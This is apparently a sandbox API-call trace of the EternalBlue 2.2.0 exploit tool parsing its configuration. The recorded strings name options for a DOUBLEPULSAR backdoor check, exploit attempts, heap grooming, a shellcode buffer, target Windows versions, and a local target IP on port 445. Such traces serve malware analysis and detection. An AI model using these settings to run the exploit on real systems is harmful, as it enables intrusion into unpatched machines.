[0263.735] malloc (_Size=0x3c) returned 0x2815d0
[0263.735] malloc (_Size=0x8) returned 0x2767b0
[0263.735] strlen (_Str="true") returned 0x4
[0263.735] calloc (_Count=0x5, _Size=0x1) returned 0x2767d0
[0263.735] _mbscpy (in: param_1=0x2767d0, param_2=0x7564c158 | out: param_1=0x2767d0) returned 0x2767d0
[0263.735] malloc (_Size=0x30) returned 0x2707d0
[0263.735] malloc (_Size=0x6) returned 0x2767e0
[0263.735] strlen (_Str="true") returned 0x4
[0263.735] calloc (_Count=0x5, _Size=0x1) returned 0x276800
[0263.735] malloc (_Size=0x3c) returned 0x273b38
[0263.735] malloc (_Size=0x6) returned 0x276810
[0263.736] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.736] malloc (_Size=0x3c) returned 0x273bc8
[0263.736] malloc (_Size=0xa) returned 0x38d990
[0263.736] strlen (_Str="VerifyBackdoor") returned 0xe
[0263.736] calloc (_Count=0xf, _Size=0x1) returned 0x38d7b0
[0263.736] _mbscpy (in: param_1=0x38d7b0, param_2=0x2828b8 | out: param_1=0x38d7b0) returned 0x38d7b0
[0263.736] malloc (_Size=0x30) returned 0x270808
[0263.736] malloc (_Size=0x5) returned 0x2767d0
[0263.736] strlen (_Str="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.") returned 0x7f
[0263.736] calloc (_Count=0x80, _Size=0x1) returned 0x2781c0
[0263.736] _mbscpy (in: param_1=0x2781c0, param_2=0x282df8 | out: param_1=0x2781c0) returned 0x2781c0
[0263.736] malloc (_Size=0x30) returned 0x2774c0
[0263.736] malloc (_Size=0xc) returned 0x38d738
[0263.737] strlen (_Str="Boolean") returned 0x7
[0263.737] calloc (_Count=0x8, _Size=0x1) returned 0x276770
[0263.737] _mbscpy (in: param_1=0x276770, param_2=0x2829e8 | out: param_1=0x276770) returned 0x276770
[0263.737] malloc (_Size=0x30) returned 0x2774f8
[0263.737] malloc (_Size=0x5) returned 0x2767a0
[0263.737] strlen (_Str="Scalar") returned 0x6
[0263.737] calloc (_Count=0x7, _Size=0x1) returned 0x276830
[0263.737] _mbscpy (in: param_1=0x276830, param_2=0x2829f8 | out: param_1=0x276830) returned 0x276830
[0263.737] malloc (_Size=0x30) returned 0x277530
[0263.737] malloc (_Size=0x7) returned 0x276840
[0263.737] strlen (_Str="true") returned 0x4
[0263.737] calloc (_Count=0x5, _Size=0x1) returned 0x276860
[0263.737] malloc (_Size=0x3c) returned 0x273d30
[0263.737] malloc (_Size=0x8) returned 0x276870
[0263.738] strlen (_Str="true") returned 0x4
[0263.738] calloc (_Count=0x5, _Size=0x1) returned 0x276890
[0263.738] _mbscpy (in: param_1=0x276890, param_2=0x7564c158 | out: param_1=0x276890) returned 0x276890
[0263.738] malloc (_Size=0x30) returned 0x277568
[0263.738] malloc (_Size=0x6) returned 0x2768a0
[0263.738] strlen (_Str="true") returned 0x4
[0263.738] calloc (_Count=0x5, _Size=0x1) returned 0x2768c0
[0263.738] malloc (_Size=0x3c) returned 0x273e08
[0263.738] malloc (_Size=0x6) returned 0x2768d0
[0263.738] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.738] malloc (_Size=0x3c) returned 0x273e98
[0263.738] malloc (_Size=0xa) returned 0x38d7b0
[0263.739] strlen (_Str="MaxExploitAttempts") returned 0x12
[0263.739] calloc (_Count=0x13, _Size=0x1) returned 0x276e60
[0263.739] _mbscpy (in: param_1=0x276e60, param_2=0x276da0 | out: param_1=0x276e60) returned 0x276e60
[0263.739] malloc (_Size=0x30) returned 0x2775a0
[0263.739] malloc (_Size=0x5) returned 0x276890
[0263.739] strlen (_Str="Number of times to attempt the exploit and groom. Disabled for XP/2K3.") returned 0x46
[0263.739] calloc (_Count=0x47, _Size=0x1) returned 0x275780
[0263.739] _mbscpy (in: param_1=0x275780, param_2=0x282e80 | out: param_1=0x275780) returned 0x275780
[0263.739] malloc (_Size=0x30) returned 0x2775d8
[0263.739] malloc (_Size=0xc) returned 0x38d768
[0263.739] strlen (_Str="U32") returned 0x3
[0263.739] calloc (_Count=0x4, _Size=0x1) returned 0x276770
[0263.739] _mbscpy (in: param_1=0x276770, param_2=0x282a28 | out: param_1=0x276770) returned 0x276770
[0263.740] malloc (_Size=0x30) returned 0x277610
[0263.740] malloc (_Size=0x5) returned 0x276830
[0263.740] strlen (_Str="Scalar") returned 0x6
[0263.740] calloc (_Count=0x7, _Size=0x1) returned 0x2768c0
[0263.740] _mbscpy (in: param_1=0x2768c0, param_2=0x282a38 | out: param_1=0x2768c0) returned 0x2768c0
[0263.740] malloc (_Size=0x30) returned 0x277648
[0263.740] malloc (_Size=0x7) returned 0x2768f0
[0263.740] strlen (_Str="3") returned 0x1
[0263.740] calloc (_Count=0x2, _Size=0x1) returned 0x276910
[0263.740] malloc (_Size=0x3c) returned 0x274000
[0263.740] malloc (_Size=0x8) returned 0x276920
[0263.740] sprintf (in: _Dest=0x38d750, _Format="%u" | out: _Dest="3") returned 1
[0263.741] malloc (_Size=0x30) returned 0x277680
[0263.741] malloc (_Size=0x6) returned 0x276940
[0263.741] strlen (_Str="3") returned 0x1
[0263.741] calloc (_Count=0x2, _Size=0x1) returned 0x276960
[0263.741] malloc (_Size=0x3c) returned 0x2740d8
[0263.741] malloc (_Size=0x6) returned 0x276970
[0263.741] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.741] malloc (_Size=0x3c) returned 0x274168
[0263.741] malloc (_Size=0xa) returned 0x38d750
[0263.741] strlen (_Str="GroomAllocations") returned 0x10
[0263.741] calloc (_Count=0x11, _Size=0x1) returned 0x276e60
[0263.741] _mbscpy (in: param_1=0x276e60, param_2=0x276ce0 | out: param_1=0x276e60) returned 0x276e60
[0263.741] malloc (_Size=0x30) returned 0x2776b8
[0263.742] malloc (_Size=0x5) returned 0x276770
[0263.742] strlen (_Str="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.") returned 0x52
[0263.742] calloc (_Count=0x53, _Size=0x1) returned 0x300bf8
[0263.742] _mbscpy (in: param_1=0x300bf8, param_2=0x282f20 | out: param_1=0x300bf8) returned 0x300bf8
[0263.742] malloc (_Size=0x30) returned 0x2776f0
[0263.742] malloc (_Size=0xc) returned 0x270950
[0263.742] strlen (_Str="U32") returned 0x3
[0263.742] calloc (_Count=0x4, _Size=0x1) returned 0x2768c0
[0263.742] _mbscpy (in: param_1=0x2768c0, param_2=0x282a68 | out: param_1=0x2768c0) returned 0x2768c0
[0263.742] malloc (_Size=0x30) returned 0x277728
[0263.742] malloc (_Size=0x5) returned 0x276910
[0263.742] strlen (_Str="Scalar") returned 0x6
[0263.742] calloc (_Count=0x7, _Size=0x1) returned 0x276990
[0263.742] _mbscpy (in: param_1=0x276990, param_2=0x282a78 | out: param_1=0x276990) returned 0x276990
[0263.742] malloc (_Size=0x30) returned 0x277760
[0263.743] malloc (_Size=0x7) returned 0x2769a0
[0263.743] strlen (_Str="12") returned 0x2
[0263.743] calloc (_Count=0x3, _Size=0x1) returned 0x2769c0
[0263.743] malloc (_Size=0x3c) returned 0x2742d0
[0263.743] malloc (_Size=0x8) returned 0x2769d0
[0263.743] sprintf (in: _Dest=0x270968, _Format="%u" | out: _Dest="12") returned 2
[0263.743] malloc (_Size=0x30) returned 0x277798
[0263.743] malloc (_Size=0x6) returned 0x2769f0
[0263.743] strlen (_Str="12") returned 0x2
[0263.743] calloc (_Count=0x3, _Size=0x1) returned 0x276a10
[0263.743] malloc (_Size=0x3c) returned 0x2743a8
[0263.743] malloc (_Size=0x6) returned 0x276a20
[0263.744] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.744] malloc (_Size=0x3c) returned 0x274438
[0263.744] malloc (_Size=0xa) returned 0x270968
[0263.744] strlen (_Str="ShellcodeBuffer") returned 0xf
[0263.744] calloc (_Count=0x10, _Size=0x1) returned 0x270980
[0263.744] _mbscpy (in: param_1=0x270980, param_2=0x270860 | out: param_1=0x270980) returned 0x270980
[0263.744] malloc (_Size=0x30) returned 0x2777d0
[0263.744] malloc (_Size=0x5) returned 0x2768c0
[0263.744] strlen (_Str="Shellcode buffer in hex (hint: use 'F:' to load from file)") returned 0x44
[0263.744] calloc (_Count=0x45, _Size=0x1) returned 0x275780
[0263.744] _mbscpy (in: param_1=0x275780, param_2=0x38fe58 | out: param_1=0x275780) returned 0x275780
[0263.744] malloc (_Size=0x30) returned 0x277808
[0263.744] malloc (_Size=0xc) returned 0x2709b0
[0263.745] strlen (_Str="Buffer") returned 0x6
[0263.745] calloc (_Count=0x7, _Size=0x1) returned 0x276990
[0263.745] _mbscpy (in: param_1=0x276990, param_2=0x282ab8 | out: param_1=0x276990) returned 0x276990
[0263.745] malloc (_Size=0x30) returned 0x277840
[0263.745] malloc (_Size=0x5) returned 0x2769c0
[0263.745] strlen (_Str="Scalar") returned 0x6
[0263.745] calloc (_Count=0x7, _Size=0x1) returned 0x276a40
[0263.745] _mbscpy (in: param_1=0x276a40, param_2=0x282ac8 | out: param_1=0x276a40) returned 0x276a40
[0263.745] malloc (_Size=0x30) returned 0x2734b0
[0263.745] malloc (_Size=0x7) returned 0x276a50
[0263.745] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.745] malloc (_Size=0x3c) returned 0x274630
[0263.745] malloc (_Size=0xa) returned 0x270980
[0263.745] strlen (_Str="LogFile") returned 0x7
[0263.745] calloc (_Count=0x8, _Size=0x1) returned 0x276990
[0263.746] _mbscpy (in: param_1=0x276990, param_2=0x281418 | out: param_1=0x276990) returned 0x276990
[0263.746] malloc (_Size=0x30) returned 0x273558
[0263.746] malloc (_Size=0x5) returned 0x276a40
[0263.746] strlen (_Str="Where to write log file") returned 0x17
[0263.746] calloc (_Count=0x18, _Size=0x1) returned 0x276e60
[0263.746] _mbscpy (in: param_1=0x276e60, param_2=0x276d60 | out: param_1=0x276e60) returned 0x276e60
[0263.746] malloc (_Size=0x30) returned 0x273590
[0263.746] malloc (_Size=0xc) returned 0x2709e0
[0263.746] strlen (_Str="String") returned 0x6
[0263.746] calloc (_Count=0x7, _Size=0x1) returned 0x276ab0
[0263.746] _mbscpy (in: param_1=0x276ab0, param_2=0x281408 | out: param_1=0x276ab0) returned 0x276ab0
[0263.746] malloc (_Size=0x30) returned 0x2735c8
[0263.746] malloc (_Size=0x5) returned 0x276ac0
[0263.747] strlen (_Str="Scalar") returned 0x6
[0263.747] calloc (_Count=0x7, _Size=0x1) returned 0x276ae0
[0263.747] _mbscpy (in: param_1=0x276ae0, param_2=0x2813f8 | out: param_1=0x276ae0) returned 0x276ae0
[0263.747] malloc (_Size=0x30) returned 0x273600
[0263.747] malloc (_Size=0x7) returned 0x276af0
[0263.747] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.747] malloc (_Size=0x3c) returned 0x2747e0
[0263.747] malloc (_Size=0xa) returned 0x270a10
[0263.747] strlen (_Str="OutConfig") returned 0x9
[0263.747] calloc (_Count=0xa, _Size=0x1) returned 0x270a28
[0263.747] _mbscpy (in: param_1=0x270a28, param_2=0x38d6f0 | out: param_1=0x270a28) returned 0x270a28
[0263.747] malloc (_Size=0x30) returned 0x273670
[0263.747] malloc (_Size=0x5) returned 0x276ab0
[0263.747] strlen (_Str="Where to write output parameters file") returned 0x25
[0263.748] calloc (_Count=0x26, _Size=0x1) returned 0x274d28
[0263.748] _mbscpy (in: param_1=0x274d28, param_2=0x38ffb8 | out: param_1=0x274d28) returned 0x274d28
[0263.748] malloc (_Size=0x30) returned 0x2736a8
[0263.748] malloc (_Size=0xc) returned 0x270a58
[0263.748] strlen (_Str="String") returned 0x6
[0263.748] calloc (_Count=0x7, _Size=0x1) returned 0x276990
[0263.748] _mbscpy (in: param_1=0x276990, param_2=0x281368 | out: param_1=0x276990) returned 0x276990
[0263.748] malloc (_Size=0x30) returned 0x2736e0
[0263.748] malloc (_Size=0x5) returned 0x276ae0
[0263.748] strlen (_Str="Scalar") returned 0x6
[0263.748] calloc (_Count=0x7, _Size=0x1) returned 0x276b30
[0263.748] _mbscpy (in: param_1=0x276b30, param_2=0x281398 | out: param_1=0x276b30) returned 0x276b30
[0263.748] malloc (_Size=0x30) returned 0x273718
[0263.748] malloc (_Size=0x7) returned 0x282c18
[0263.749] strlen (_Str="stdout") returned 0x6
[0263.749] calloc (_Count=0x7, _Size=0x1) returned 0x361e48
[0263.749] malloc (_Size=0x3c) returned 0x274948
[0263.749] malloc (_Size=0x8) returned 0x361e58
[0263.749] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0263.749] calloc (_Count=0x16, _Size=0x1) returned 0x276e60
[0263.749] malloc (_Size=0x30) returned 0x273750
[0263.749] malloc (_Size=0x6) returned 0x361e78
[0263.749] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0263.749] calloc (_Count=0x16, _Size=0x1) returned 0x276ee0
[0263.749] malloc (_Size=0x3c) returned 0x274a20
[0263.750] malloc (_Size=0x6) returned 0x361e98
[0263.750] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.750] malloc (_Size=0x3c) returned 0x274ab0
[0263.750] malloc (_Size=0xa) returned 0x270a28
[0263.750] strlen (_Str="ValidateOnly") returned 0xc
[0263.750] calloc (_Count=0xd, _Size=0x1) returned 0x270a70
[0263.750] _mbscpy (in: param_1=0x270a70, param_2=0x38d9c0 | out: param_1=0x270a70) returned 0x270a70
[0263.750] malloc (_Size=0x30) returned 0x273788
[0263.750] malloc (_Size=0x5) returned 0x276990
[0263.750] strlen (_Str="Stop execution after parameter validation") returned 0x29
[0263.750] calloc (_Count=0x2a, _Size=0x1) returned 0x2737c0
[0263.751] _mbscpy (in: param_1=0x2737c0, param_2=0x270060 | out: param_1=0x2737c0) returned 0x2737c0
[0263.751] malloc (_Size=0x30) returned 0x2737f8
[0263.751] malloc (_Size=0xc) returned 0x270aa0
[0263.751] strlen (_Str="Boolean") returned 0x7
[0263.751] calloc (_Count=0x8, _Size=0x1) returned 0x276b30
[0263.751] _mbscpy (in: param_1=0x276b30, param_2=0x2813d8 | out: param_1=0x276b30) returned 0x276b30
[0263.751] malloc (_Size=0x30) returned 0x362238
[0263.751] malloc (_Size=0x5) returned 0x361e48
[0263.751] strlen (_Str="Scalar") returned 0x6
[0263.751] calloc (_Count=0x7, _Size=0x1) returned 0x361eb8
[0263.751] _mbscpy (in: param_1=0x361eb8, param_2=0x2813b8 | out: param_1=0x361eb8) returned 0x361eb8
[0263.751] malloc (_Size=0x30) returned 0x362270
[0263.751] malloc (_Size=0x7) returned 0x361ec8
[0263.751] strlen (_Str="false") returned 0x5
[0263.751] calloc (_Count=0x6, _Size=0x1) returned 0x361ee8
[0263.751] malloc (_Size=0x3c) returned 0x2712f0
[0263.752] malloc (_Size=0x8) returned 0x361ef8
[0263.752] strlen (_Str="false") returned 0x5
[0263.752] calloc (_Count=0x6, _Size=0x1) returned 0x361f18
[0263.752] _mbscpy (in: param_1=0x361f18, param_2=0x7564c150 | out: param_1=0x361f18) returned 0x361f18
[0263.752] malloc (_Size=0x30) returned 0x3622a8
[0263.752] malloc (_Size=0x6) returned 0x361f28
[0263.752] strlen (_Str="false") returned 0x5
[0263.752] calloc (_Count=0x6, _Size=0x1) returned 0x361f48
[0263.752] malloc (_Size=0x3c) returned 0x2713c8
[0263.752] malloc (_Size=0x6) returned 0x361f58
[0263.752] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.752] malloc (_Size=0x3c) returned 0x271458
[0263.752] malloc (_Size=0xc) returned 0x270a70
[0263.753] strlen (_Str="Target") returned 0x6
[0263.753] calloc (_Count=0x7, _Size=0x1) returned 0x361f18
[0263.753] _mbscpy (in: param_1=0x361f18, param_2=0x282aa8 | out: param_1=0x361f18) returned 0x361f18
[0263.753] malloc (_Size=0x30) returned 0x2737c0
[0263.753] malloc (_Size=0x5) returned 0x361eb8
[0263.753] strlen (_Str="Operating System, Service Pack, and Architecture of target OS") returned 0x3d
[0263.753] calloc (_Count=0x3e, _Size=0x1) returned 0x2714e8
[0263.753] _mbscpy (in: param_1=0x2714e8, param_2=0x282470 | out: param_1=0x2714e8) returned 0x2714e8
[0263.753] malloc (_Size=0x30) returned 0x3622e0
[0263.753] malloc (_Size=0xc) returned 0x270ab8
[0263.753] strlen (_Str="WIN72K8R2") returned 0x9
[0263.753] calloc (_Count=0xa, _Size=0x1) returned 0x270ad0
[0263.753] malloc (_Size=0x3c) returned 0x2715c0
[0263.754] malloc (_Size=0x6) returned 0x361f48
[0263.754] strlen (_Str="XP") returned 0x2
[0263.754] calloc (_Count=0x3, _Size=0x1) returned 0x361f78
[0263.754] _mbscpy (in: param_1=0x361f78, param_2=0x282b18 | out: param_1=0x361f78) returned 0x361f78
[0263.754] malloc (_Size=0x30) returned 0x362318
[0263.754] malloc (_Size=0x5) returned 0x361f88
[0263.754] strlen (_Str="Windows XP 32-Bit All Service Packs") returned 0x23
[0263.754] calloc (_Count=0x24, _Size=0x1) returned 0x274d28
[0263.754] _mbscpy (in: param_1=0x274d28, param_2=0x271048 | out: param_1=0x274d28) returned 0x274d28
[0263.754] malloc (_Size=0x30) returned 0x362350
[0263.754] malloc (_Size=0xc) returned 0x270b18
[0263.754] strlen (_Str="WIN72K8R2") returned 0x9
[0263.755] calloc (_Count=0xa, _Size=0x1) returned 0x270b48
[0263.755] _mbscpy (in: param_1=0x270b48, param_2=0x2708c0 | out: param_1=0x270b48) returned 0x270b48
[0263.755] malloc (_Size=0x30) returned 0x362388
[0263.755] malloc (_Size=0x5) returned 0x361f78
[0263.755] strlen (_Str="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs") returned 0x39
[0263.755] calloc (_Count=0x3a, _Size=0x1) returned 0x2717b8
[0263.755] _mbscpy (in: param_1=0x2717b8, param_2=0x2824b8 | out: param_1=0x2717b8) returned 0x2717b8
[0263.755] malloc (_Size=0x30) returned 0x3623c0
[0263.755] malloc (_Size=0xc) returned 0x270b78
[0263.755] strlen (_Str="outputparameters") returned 0x10
[0263.755] calloc (_Count=0x11, _Size=0x1) returned 0x276e60
[0263.755] _mbscpy (in: param_1=0x276e60, param_2=0x276cc0 | out: param_1=0x276e60) returned 0x276e60
[0263.755] malloc (_Size=0x3c) returned 0x2714e8
[0263.755] malloc (_Size=0x11) returned 0x276ee0
[0263.756] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.756] malloc (_Size=0x3c) returned 0x2717b8
[0263.756] strlen (_Str="DoublePulsarPresent") returned 0x13
[0263.756] calloc (_Count=0x14, _Size=0x1) returned 0x2773a0
[0263.756] _mbscpy (in: param_1=0x2773a0, param_2=0x276de0 | out: param_1=0x2773a0) returned 0x2773a0
[0263.756] malloc (_Size=0x30) returned 0x3623f8
[0263.756] strlen (_Str="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown") returned 0x68
[0263.756] calloc (_Count=0x69, _Size=0x1) returned 0x273898
[0263.756] _mbscpy (in: param_1=0x273898, param_2=0x271140 | out: param_1=0x273898) returned 0x273898
[0263.756] malloc (_Size=0x30) returned 0x362430
[0263.756] strlen (_Str="Boolean") returned 0x7
[0263.756] calloc (_Count=0x8, _Size=0x1) returned 0x361fa8
[0263.757] _mbscpy (in: param_1=0x361fa8, param_2=0x282b98 | out: param_1=0x361fa8) returned 0x361fa8
[0263.757] malloc (_Size=0x30) returned 0x362468
[0263.757] strlen (_Str="Scalar") returned 0x6
[0263.757] calloc (_Count=0x7, _Size=0x1) returned 0x361fd8
[0263.757] _mbscpy (in: param_1=0x361fd8, param_2=0x282ba8 | out: param_1=0x361fd8) returned 0x361fd8
[0263.757] malloc (_Size=0x30) returned 0x3624a0
[0263.757] strlen (_Str="false") returned 0x5
[0263.820] calloc (_Count=0x6, _Size=0x1) returned 0x362008
[0263.820] _mbscpy (in: param_1=0x362008, param_2=0x7564c150 | out: param_1=0x362008) returned 0x362008
[0263.820] malloc (_Size=0x30) returned 0x3624d8
[0263.821] strlen (_Str="false") returned 0x5
[0263.821] calloc (_Count=0x6, _Size=0x1) returned 0x362038
[0263.821] malloc (_Size=0x3c) returned 0x2719f8
[0263.822] strcmp (_Str1="UTF-8", _Str2="") returned 1
[0263.822] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0
[0263.822] strlen (_Str="config") returned 0x6
[0263.822] strlen (_Str="id") returned 0x2
[0263.823] strlen (_Str="configversion") returned 0xd
[0263.823] strlen (_Str="name") returned 0x4
[0263.823] strlen (_Str="version") returned 0x7
[0263.823] strlen (_Str="schemaversion") returned 0xd
[0263.823] GetCurrentThreadId () returned 0xfa8
[0263.824] strlen (_Str="inputparameters") returned 0xf
[0263.824] GetCurrentThreadId () returned 0xfa8
[0263.824] strlen (_Str="parameter") returned 0x9
[0263.824] strlen (_Str="name") returned 0x4
[0263.824] strlen (_Str="description") returned 0xb
[0263.824] strlen (_Str="type") returned 0x4
[0263.825] strlen (_Str="format") returned 0x6
[0263.825] strlen (_Str="hidden") returned 0x6
[0263.825] strlen (_Str="valid") returned 0x5
[0263.825] GetCurrentThreadId () returned 0xfa8
[0263.825] strlen (_Str="default") returned 0x7
[0263.825] strlen (_Str="0") returned 0x1
[0263.825] GetCurrentThreadId () returned 0xfa8
[0263.826] strlen (_Str="default") returned 0x7
[0263.826] GetCurrentThreadId () returned 0xfa8
[0263.826] strlen (_Str="value") returned 0x5
[0263.826] strlen (_Str="0") returned 0x1
[0263.826] GetCurrentThreadId () returned 0xfa8
[0263.826] strlen (_Str="value") returned 0x5
[0263.826] GetCurrentThreadId () returned 0xfa8
[0263.826] strlen (_Str="parameter") returned 0x9
[0263.826] GetCurrentThreadId () returned 0xfa8
[0263.827] strlen (_Str="parameter") returned 0x9
[0263.827] strlen (_Str="name") returned 0x4
[0263.827] strlen (_Str="description") returned 0xb
[0263.827] strlen (_Str="type") returned 0x4
[0263.827] strlen (_Str="format") returned 0x6
[0263.828] strlen (_Str="valid") returned 0x5
[0263.828] GetCurrentThreadId () returned 0xfa8
[0263.828] strlen (_Str="default") returned 0x7
[0263.828] strlen (_Str="60") returned 0x2
[0263.828] GetCurrentThreadId () returned 0xfa8
[0263.828] strlen (_Str="default") returned 0x7
[0263.828] GetCurrentThreadId () returned 0xfa8
[0263.828] strlen (_Str="value") returned 0x5
[0263.828] strlen (_Str="60") returned 0x2
[0263.829] GetCurrentThreadId () returned 0xfa8
[0263.829] strlen (_Str="value") returned 0x5
[0263.829] GetCurrentThreadId () returned 0xfa8
[0263.829] strlen (_Str="parameter") returned 0x9
[0263.829] GetCurrentThreadId () returned 0xfa8
[0263.829] strlen (_Str="parameter") returned 0x9
[0263.829] strlen (_Str="name") returned 0x4
[0263.829] strlen (_Str="description") returned 0xb
[0263.830] strlen (_Str="type") returned 0x4
[0263.830] strlen (_Str="format") returned 0x6
[0263.830] strlen (_Str="valid") returned 0x5
[0263.830] GetCurrentThreadId () returned 0xfa8
[0263.830] strlen (_Str="value") returned 0x5
[0263.830] strlen (_Str="192.168.0.154") returned 0xd
[0263.830] GetCurrentThreadId () returned 0xfa8
[0263.830] strlen (_Str="value") returned 0x5
[0263.831] GetCurrentThreadId () returned 0xfa8
[0263.831] strlen (_Str="parameter") returned 0x9
[0263.831] GetCurrentThreadId () returned 0xfa8
[0263.831] strlen (_Str="parameter") returned 0x9
[0263.831] strlen (_Str="name") returned 0x4
[0263.831] strlen (_Str="description") returned 0xb
[0263.831] strlen (_Str="type") returned 0x4
[0263.832] strlen (_Str="format") returned 0x6
[0263.832] strlen (_Str="valid") returned 0x5
[0263.832] GetCurrentThreadId () returned 0xfa8
[0263.832] strlen (_Str="default") returned 0x7
[0263.832] strlen (_Str="445") returned 0x3
[0263.832] GetCurrentThreadId () returned 0xfa8
[0263.832] strlen (_Str="default") returned 0x7
[0263.832] GetCurrentThreadId () returned 0xfa8
[0263.832] strlen (_Str="value") returned 0x5
[0263.833] strlen (_Str="445") returned 0x3
[0263.833] GetCurrentThreadId () returned 0xfa8
[0263.833] strlen (_Str="value") returned 0x5
[0263.833] GetCurrentThreadId () returned 0xfa8
[0263.833] strlen (_Str="parameter") returned 0x9
[0263.833] GetCurrentThreadId () returned 0xfa8
[0263.833] strlen (_Str="parameter") returned 0x9
[0263.833] strlen (_Str="name") returned 0x4
[0263.834] strlen (_Str="description") returned 0xb
[0263.834] strlen (_Str="type") returned 0x4
[0263.834] strlen (_Str="format") returned 0x6
[0263.834] strlen (_Str="valid") returned 0x5
[0263.834] GetCurrentThreadId () returned 0xfa8
[0263.834] strlen (_Str="default") returned 0x7
[0263.835] strlen (_Str="true") returned 0x4
[0263.835] GetCurrentThreadId () returned 0xfa8
[0263.835] strlen (_Str="default") returned 0x7
[0263.835] GetCurrentThreadId () returned 0xfa8
[0263.835] strlen (_Str="value") returned 0x5
[0263.835] strlen (_Str="true") returned 0x4
[0263.835] GetCurrentThreadId () returned 0xfa8
[0263.836] strlen (_Str="value") returned 0x5
[0263.836] GetCurrentThreadId () returned 0xfa8
[0263.836] strlen (_Str="parameter") returned 0x9
[0263.836] GetCurrentThreadId () returned 0xfa8
[0263.836] strlen (_Str="parameter") returned 0x9
[0263.836] strlen (_Str="name") returned 0x4
[0263.836] strlen (_Str="description") returned 0xb
[0263.837] strlen (_Str="type") returned 0x4
[0263.837] strlen (_Str="format") returned 0x6
[0263.837] strlen (_Str="valid") returned 0x5
[0263.837] GetCurrentThreadId () returned 0xfa8
[0263.837] strlen (_Str="default") returned 0x7
[0263.837] strlen (_Str="true") returned 0x4
[0263.837] GetCurrentThreadId () returned 0xfa8
[0263.838] strlen (_Str="default") returned 0x7
[0263.838] GetCurrentThreadId () returned 0xfa8
[0263.838] strlen (_Str="value") returned 0x5
[0263.838] strlen (_Str="true") returned 0x4
[0263.838] GetCurrentThreadId () returned 0xfa8
[0263.838] strlen (_Str="value") returned 0x5
[0263.838] GetCurrentThreadId () returned 0xfa8
[0263.838] strlen (_Str="parameter") returned 0x9
[0263.839] GetCurrentThreadId () returned 0xfa8
[0263.839] strlen (_Str="parameter") returned 0x9
[0263.839] strlen (_Str="name") returned 0x4
[0263.839] strlen (_Str="description") returned 0xb
[0263.839] strlen (_Str="type") returned 0x4
[0263.839] strlen (_Str="format") returned 0x6
[0263.839] strlen (_Str="valid") returned 0x5
[0263.840] GetCurrentThreadId () returned 0xfa8
[0263.840] strlen (_Str="default") returned 0x7
[0263.840] strlen (_Str="3") returned 0x1
[0263.840] GetCurrentThreadId () returned 0xfa8
[0263.840] strlen (_Str="default") returned 0x7
[0263.840] GetCurrentThreadId () returned 0xfa8
[0263.841] strlen (_Str="value") returned 0x5
[0263.841] strlen (_Str="3") returned 0x1
[0263.841] GetCurrentThreadId () returned 0xfa8
[0263.841] strlen (_Str="value") returned 0x5
[0263.841] GetCurrentThreadId () returned 0xfa8
[0263.841] strlen (_Str="parameter") returned 0x9
[0263.841] GetCurrentThreadId () returned 0xfa8
[0263.842] strlen (_Str="parameter") returned 0x9
[0263.842] strlen (_Str="name") returned 0x4
[0263.842] strlen (_Str="description") returned 0xb
[0263.842] strlen (_Str="type") returned 0x4
[0263.842] strlen (_Str="format") returned 0x6
[0263.842] strlen (_Str="valid") returned 0x5
[0263.842] GetCurrentThreadId () returned 0xfa8
[0263.843] strlen (_Str="default") returned 0x7
[0263.843] strlen (_Str="12") returned 0x2
[0263.843] GetCurrentThreadId () returned 0xfa8
[0263.843] strlen (_Str="default") returned 0x7
[0263.843] GetCurrentThreadId () returned 0xfa8
[0263.843] strlen (_Str="value") returned 0x5
[0263.843] strlen (_Str="12") returned 0x2
[0263.843] GetCurrentThreadId () returned 0xfa8
[0263.844] strlen (_Str="value") returned 0x5
[0263.844] GetCurrentThreadId () returned 0xfa8
[0263.844] strlen (_Str="parameter") returned 0x9
[0263.844] GetCurrentThreadId () returned 0xfa8
[0263.844] strlen (_Str="parameter") returned 0x9
[0263.844] strlen (_Str="name") returned 0x4
[0263.845] strlen (_Str="description") returned 0xb
[0263.845] strlen (_Str="type") returned 0x4
[0263.845] strlen (_Str="format") returned 0x6
[0263.845] strlen (_Str="hidden") returned 0x6
[0263.845] strlen (_Str="required") returned 0x8
[0263.846] strlen (_Str="parameter") returned 0x9
[0263.846] GetCurrentThreadId () returned 0xfa8
[0263.846] strlen (_Str="parameter") returned 0x9
[0263.846] strlen (_Str="name") returned 0x4
[0263.846] strlen (_Str="description") returned 0xb
[0263.846] strlen (_Str="type") returned 0x4
[0263.846] strlen (_Str="format") returned 0x6
[0263.847] strlen (_Str="required") returned 0x8
[0263.847] strlen (_Str="parameter") returned 0x9
[0263.847] GetCurrentThreadId () returned 0xfa8
[0263.847] strlen (_Str="parameter") returned 0x9
[0263.847] strlen (_Str="name") returned 0x4
[0263.847] strlen (_Str="description") returned 0xb
[0263.847] strlen (_Str="type") returned 0x4
[0263.848] strlen (_Str="format") returned 0x6
[0263.848] strlen (_Str="valid") returned 0x5
[0263.848] GetCurrentThreadId () returned 0xfa8
[0263.848] strlen (_Str="default") returned 0x7
[0263.848] strlen (_Str="stdout") returned 0x6
[0263.848] GetCurrentThreadId () returned 0xfa8
[0263.849] strlen (_Str="default") returned 0x7
[0263.849] GetCurrentThreadId () returned 0xfa8
[0263.849] strlen (_Str="value") returned 0x5
[0263.849] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0263.849] GetCurrentThreadId () returned 0xfa8
[0263.849] strlen (_Str="value") returned 0x5
[0263.849] GetCurrentThreadId () returned 0xfa8
[0263.850] strlen (_Str="parameter") returned 0x9
[0263.850] GetCurrentThreadId () returned 0xfa8
[0263.850] strlen (_Str="parameter") returned 0x9
[0263.850] strlen (_Str="name") returned 0x4
